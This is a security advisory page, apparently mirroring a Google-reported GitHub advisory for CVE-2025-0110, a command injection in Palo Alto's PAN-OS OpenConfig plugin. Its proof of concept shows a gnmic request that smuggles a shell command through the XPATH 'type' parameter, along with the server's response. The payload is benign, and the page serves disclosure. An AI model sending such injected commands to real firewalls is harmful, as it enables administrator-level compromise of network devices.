Skip to content
GoogleGHSA-73px-m3vw-mr35

PaloAlto OpenConfig Plugin: Command Injection Vulnerability

High8.6CVE-2025-0110 · Published Feb 19, 2025

### Summary A vulnerability in PAN-OS OpenConfig allows an authenticated user to run arbitrary commands on the underlying OS. The commands are run as device administrator. ### Details Palo Alto Network Firewalls enable retrieval of syslogs through [gnmi.Subscribe](https://github.com/openconfig/gnmi/blob/b8abd10e9091a4ab6d3894669477b1d396c0ead0/proto/gnmi/gnmi.proto#L73). With the OpenConfig plugin installed, the following [OpenConfig API](https://docs.paloaltonetworks.com/openconfig/2-0/openconfig-admin/pan-os-models/pan-os-openconfig-logging) can be used with the parameterized XPATH: `pan-logging:/pan/logging/query/custom[type=system][direction=fwd][max_logs=2][period=last-24-hrs]` We found that the `type` parameter in the XPATH above can be used to send arbitrary bash commands to be executed on the firewall. ### Severity High - This vulnerability allows for an attacker to run arbitrary bash commands via [gnmi.Subscribe](https://github.com/openconfig/gnmi/blob/b8abd10e9091a4ab6d3894669477b1d396c0ead0/proto/gnmi/gnmi.proto#L73). ### Proof of Concept In order to exploit this vulnerability, we created a request with `type` parameter set to a bash command that writes the string ...

GitHub advisory

Affected versions

PackageAffectedFixed in
OpenConfig
Product
< 2.1.22.1.2
Details and references

### Summary A vulnerability in PAN-OS OpenConfig allows an authenticated user to run arbitrary commands on the underlying OS. The commands are run as device administrator. ### Details Palo Alto Network Firewalls enable retrieval of syslogs through [gnmi.Subscribe](https://github.com/openconfig/gnmi/blob/b8abd10e9091a4ab6d3894669477b1d396c0ead0/proto/gnmi/gnmi.proto#L73). With the OpenConfig plugin installed, the following [OpenConfig API](https://docs.paloaltonetworks.com/openconfig/2-0/openconfig-admin/pan-os-models/pan-os-openconfig-logging) can be used with the parameterized XPATH: `pan-logging:/pan/logging/query/custom[type=system][direction=fwd][max_logs=2][period=last-24-hrs]` We found that the `type` parameter in the XPATH above can be used to send arbitrary bash commands to be executed on the firewall. ### Severity High - This vulnerability allows for an attacker to run arbitrary bash commands via [gnmi.Subscribe](https://github.com/openconfig/gnmi/blob/b8abd10e9091a4ab6d3894669477b1d396c0ead0/proto/gnmi/gnmi.proto#L73). ### Proof of Concept In order to exploit this vulnerability, we created a request with `type` parameter set to a bash command that writes the string `"system"` to a file and reads it back. #### XPATH `/pan/logging/query/custom[direction=fwd][max_logs=2][period=last-24-hrs][type=$(echo system > file1; cat file1)]` #### Request We utilized [gnmic](https://github.com/openconfig/gnmic) tool to test this exploit. ``` ./gnmic -a <IP>:<PORT> -u <username> --password=<password> --skip-verify \ -e json_ietf subscribe --mode once --log \ --path 'pan-logging:/pan/logging/query/custom[type=$(echo system > file1; cat file1)][direction=fwd][max_logs=2][period=last-24-hrs]' ``` #### Response ``` { "source": "<IP>:<PORT>", "subscription-name": "<>", "timestamp": <>, "time": "<>", "updates": [ { "Path": "/pan/logging/query/custom[direction=fwd][max_logs=2][period=last-24-hrs][type=$(echo system \u003e file1; cat file1)]", "values": { "/pan/logging/query/custom": { "code": "200", "message": { ... ``` `system` is a valid value for parameter `type`. Response above shows that the server did successfully execute the bash commands `echo system > file1; cat file1`, producing the output `system` which was then provided

CVSS 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Severity from
GitHub (reviewed advisory)

More Google advisories

All Google
Advisory
W3C - CSS Validator XXE
HighMar 28, 2025
PostgreSQL: Privilege Escalation Vulnerability via pg_cron
HighMar 5, 2025
RSync: Heap Buffer Overflow, Info Leak, Server Leaks, Path Traversal and Safe links Bypass
HighFeb 19, 2025
AMD: Microcode Signature Verification Vulnerability
High7.2Feb 3, 2025
ENGAGE - Server Displaying Sensitive Information
LowJan 10, 2025
Integer Overflow in eBPF DEVMAP map_delete_elem Leads to Out-of-Bounds
High7.8Jan 9, 2025

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.